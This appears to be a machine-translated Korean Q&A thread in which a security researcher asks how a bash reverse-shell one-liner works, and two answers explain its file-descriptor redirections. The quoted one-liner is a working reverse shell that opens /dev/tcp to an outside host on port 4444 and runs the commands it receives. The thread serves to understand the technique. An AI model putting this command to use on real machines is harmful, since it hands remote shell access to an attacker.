
보안 조사를 하고 있는데 다음 코드 조각이 Unix 기반 OS에서 어떻게 작동하는지 궁금합니다.
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
나는 완전히 알고 있다무엇이 코드는 수행하지만(예: 포트 4444를 통해 192.168.159.150에 대한 역방향 쉘 설정) 다음 섹션이 수행하는 작업을 이해하지 못합니다.
exec 5<>
cat <&5
2>&5 >&5
그리고 일반적으로 이것이 제가 보는 껍질을 만들기 위해 어떻게 결합되는지를 보여줍니다.
누구든지 이것을 설명하는 데 도움을 주거나 이것을 이해하는 데 올바른 방향을 알려줄 수 있습니까?
감사해요
답변1
빠른 요약:
exec 5<>
읽기 및 쓰기를 위해 새 파일 핸들을 열고 이름을 지정합니다.5
cat <&5
새로 열린 파일 핸들을 읽고 있습니다.
2>&5 >&5
2
파일 핸들 (stderr)과 파일 핸들 1
(stdout) 의 출력을 파일 핸들로 리디렉션합니다 5
. 이 1
경우에는 두 번째 리디렉션에서 파일 핸들 번호가 제공되지 않았기 때문에 암시됩니다.
답변2
귀하의 질문 중 일부에 대한 답변이 제공됩니다.여기
하지만
- 이는 숫자 5로 새 파일 설명자를 정의합니다. BTW 0은 STDIN, 1은 STDOUT, 2는 STDERR 파일 설명자입니다.
- TCP, IP 192.168.159.150, 포트 4444를 통해 수신된 정보를 에코합니다.
- STDERR 및 STDOUT을 파일 핸들러 5(예: 네트워크)로 보냅니다.